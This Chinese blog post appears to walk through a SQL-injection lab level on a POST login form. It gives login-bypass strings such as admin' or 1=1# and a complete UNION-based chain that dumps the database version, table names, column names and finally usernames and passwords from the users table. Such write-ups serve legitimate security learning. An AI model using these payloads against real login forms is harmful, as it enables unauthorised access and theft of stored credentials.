好久没更新文章了 今天来更一更!!!
这一关直接开始post请求
我们随便在一个输入表单中输入一个admin' 可以发现报错信息 从其中我们可以发现用户名和密码的结构
其中用户名为单引号注入类型 密码亦是
所以我们只需要注入一个表单即可
我们就往用户名处进行注入吧
首先输入一个万能密码admin' or 1=1#看看结果
然后输入一个万能密码admin' or '1'='1看看结果
这里我发现了一个彩蛋 我以前从来没有弄懂过 在这里说一下一些关于优先级的事情:
and > or > =
于是我去后台看了看源代码
发现我们提交的用户名和密码信息给拼接到了sql语句中 然后执行 并且通过一个mysql_fetch_array()函数得到一个一行的数组 然后判断一下是否为空如果不为空 将数组中键名为用户名的值显示在your login name后面 将键名为密码的值显示在your password后面
如果说是admin' or 1=1#的话 那么
去一行为结果 所以结果为dumb dumb
如果是admin' or '1'='1的话 那么
接着解题 既然是单引号注入类型的话 那么检验一下吧
往用户名表单处输入一个admin'# 看看报错与否 存在回显 说明这个类型判断正确
然后选择一个注入方法 我这里选择联合注入
首先判断一下字段数以及回显点
输入admin' union select 1,2#
注意这边只能回显一条信息 所以你得把主查询的回显给屏蔽掉 才行
所以最终版本的输入为1' union select 1,2#
输出如下
接着进行爆库以及爆版本操作
即输入1' union select version(),database()#
然后爆表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#
输出如下
然后爆字段
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users';#
最后爆用户名和密码信息
输入1' union select 1,group_concat(username,password) from users;#
所以最后成功解题 嗨嗨